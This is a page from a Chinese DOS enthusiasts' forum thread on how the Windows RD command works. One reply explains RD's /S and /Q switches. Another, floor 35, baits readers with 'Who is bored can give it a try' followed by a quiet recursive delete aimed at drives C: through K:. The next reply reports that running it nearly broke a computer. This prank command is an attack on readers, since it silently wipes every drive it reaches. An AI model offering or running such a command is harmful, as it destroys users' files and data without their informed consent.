China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-13 12:27
中国DOS联盟论坛 » DOS学习入门 & 精彩文章 (教学室) » Why does the RD command behave like this? ------Don't understand! View 4,745 Replies 35
Floor 31 Posted 2007-03-02 06:46 ·  中国 广东 深圳 电信
新手上路
Credits 4
Posts 2
Joined 2006-12-12 00:26
19-year member
UID 73232
Gender Male
Status Offline
Learning
Floor 32 Posted 2007-03-09 07:48 ·  中国 黑龙江 哈尔滨 电信
初级用户
Credits 65
Posts 27
Joined 2006-08-10 16:56
20-year member
UID 60248
Status Offline
The usage of the Rd command has two parameters:

/S: In addition to the directory itself, all subdirectories and files under the specified directory will also be deleted. Used to delete directory trees.

/Q: Quiet mode. When deleting directory trees with /S, no confirmation is required.
Floor 33 Posted 2007-03-09 12:28 ·  中国 甘肃 兰州 电信
新手上路
Credits 17
Posts 9
Joined 2007-03-07 12:37
19-year member
UID 81005
Gender Male
Status Offline
I always thought that RD could only delete empty directories, which was not as good as DELTREE, but it turns out it's not like that. Sweat.
Floor 34 Posted 2007-03-12 07:40 ·  中国 江苏 南京 电信
初级用户
Credits 76
Posts 39
Joined 2007-03-09 06:54
19-year member
UID 81169
Gender Male
Status Offline
rd should not be confused with rmdir........................
狐狸喜欢狡猾。。
Floor 35 Posted 2007-03-13 02:37 ·  中国 广东 广州 番禺区 电信
初级用户
★★
Credits 107
Posts 52
Joined 2007-03-10 04:55
19-year member
UID 81272
Gender Male
Status Offline
Who is bored can give it a try
rd /s /q C:;D:;E:;F:;G:;F:G:;H:;I:;J:;K:
Floor 36 Posted 2007-04-03 07:22 ·  中国 广东 广州 白云区 电信
新手上路
Credits 2
Posts 1
Joined 2007-04-03 05:37
19-year member
UID 83787
Gender Male
From 山东省
Status Offline
13. The building is really害人啊, my computer almost broke down, but it's in the internet café! Haha
Forum Jump: